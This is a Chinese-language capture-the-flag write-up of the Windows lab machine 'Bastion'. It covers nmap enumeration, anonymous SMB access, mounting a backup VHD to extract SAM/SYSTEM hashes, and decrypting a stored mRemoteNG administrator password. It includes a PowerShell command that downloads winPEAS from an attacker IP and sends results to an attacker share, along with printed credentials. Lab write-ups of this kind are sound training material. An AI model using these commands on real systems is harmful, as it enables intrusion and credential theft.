概述 (Overview)
- MACHINE TAGS
- Windows
- Powershell
- File Misconfiguration
攻击链 (Kiillchain)
通过 nmap 进行端口识别,发现SMB服务,存在匿名访问 Backups
目录。从中发现 .VHD
后缀文件,对其进行挂载得到 SAM
、SYSTEM
文件,提取密码后成功登录目标服务器。最后通过在 mRemoteNG
软件的历史连接配置文件,解密后的密码登录 administrator 用户会话。
TTPs (Tactics, Techniques & Procedures)
- nmap
- smbclient
- impacket
- mremoteng_decrypt
阶段1:枚举
开局使用nmap扫描目标服务器暴露端口及服务:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH for_Windows_7.9 (protocol 2.0)
| ssh-hostkey:
| 2048 3a:56:ae:75:3c:78:0e:c8:56:4d:cb:1c:22:bf:45:8a (RSA)
| 256 cc:2e:56:ab:19:97:d5:bb:03:fb:82:cd:63:da:68:01 (ECDSA)
|_ 256 93:5f:5d:aa:ca:9f:53:e7:f2:82:e6:64:a8:a3:a0:18 (ED25519)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: -40m00s, deviation: 1h09m15s, median: -1s
| smb-os-discovery:
| OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
| Computer name: Bastion
| NetBIOS computer name: BASTION\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2021-07-07T08:07:02+02:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2021-07-07T06:07:03
|_ start_date: 2021-07-07T06:02:25
系统指纹是 Windows Server 2016
,存在 SMB 服务、ssh 远程服务。
对 msrpc
的服务可以使用nmap的脚本 msrpc-enum
进行服务的信息枚举。
阶段2:工具和利用
阶段2.1:对MSRPC服务的枚举
file: msrpc-enum
查询 MSRPC 端点映射器以获取映射服务列表并显示收集的信息。
接着可以使用 impacket-rpcdump
来查看运行的进程,和nmap的脚本组合可以识别更多信息:
阶段2.2:SMB共享服务匿名访问
使用 smbclient
枚举下 SMB 服务是否存在匿名访问:
在 Backups
目录里发现提示信息文件:
在 smbclient 中设置如下参数后进行递归下来:
mask ""
recurse ON
prompt OFF
看下 note.txt
文件内容:
Sysadmins: please don't transfer the entire backup file locally, the VPN to the subsidiary office is too slow.
系统管理员:请不要将整个备份文件传输到本地,到分支机构的VPN太慢了。
阶段2.3:VHD文件提取
了解下 .VHD
的后缀文件是个啥:
.VHD文件包含 Microsoft Windows Virtual PC(Windows) 使用的虚拟硬盘映像。 它用于虚拟化程序存储虚拟机(VM)硬盘的内容,其中可能包括磁盘分区,文件系统,文件和文件夹。 VHD文件可用于在一台计算机上安装多个操作系统,测试软件程序或运行较旧的应用程序。
所以正常的解题需要将完整的 .VHD
备份全部下载下来,我看了下我才下了800m的样子,实际上这个备份有5G(出题的是伞兵吧?要不是我这VPN给力,谁闲的慌下5G的备份文件啊,一般的出海梯子不会给大出口带宽的)…
使用 mount
进行共享文件挂载,方便进一步查看文件:$ mount -t cifs -o username=root //10.10.10.134/Backups <local_file>
将 .VHD
获取到本地后进行对其进行挂载,就能查看系统文件了。从中找到 SAM
、SYSTEM
文件对密码进行提取:
C:\WIndows\System32\config\SAM
C:\Windows\System32\config\SYSTEM
成功对用户 l4mpje 解出来密码是 password : bureaulampje
,使用该密码组成功目标服务器,获得 user flag。
阶段3:权限提升
阶段3.1:文件传递后的信息枚举
通过 powershell 将 winPEAS 工具传递目标服务器,随后通过开启的 smbserver 接收分析后的结果:
cmd > powershell (new-object system.net.webclient).downloadfile('http://10.10.16.15/winPEASany.exe','C://Users/L4mpje/Downloads/winPEASany.exe');
cmd> l4mpje@BASTION C:\Users\L4mpje\Downloads>.\winPEASany.exe > //10.10.16.15/share/winPEASany.txt
查看枚举的信息,发现一个可疑的应用 mRemoteNG
(用于Windows的远程连接管理器):
在目录中查找配置备份信息,发现存在 administrator 用户的连接记录:
阶段3.2:decrypt密码
Administrator:aEWNFV5uGcjUHF0uS17QTdT9kVqtKCPeoC0Nw5dmaPFjNQ2kt/zO5xDqE4HdVmHAowVRdC7emf7lWWA10dQKiw==
在Github上找到了解密脚本,对密码信息解析还原:
# python3 mremoteng_decrypt.py -s aEWNFV5uGcjUHF0uS17QTdT9kVqtKCPeoC0Nw5dmaPFjNQ2kt/zO5xDqE4HdVmHAowVRdC7emf7lWWA10dQKiw==
Password: thXLHM96BeKL0ER2
使用解出来的密码成功登录目标系统的 administrator 会话: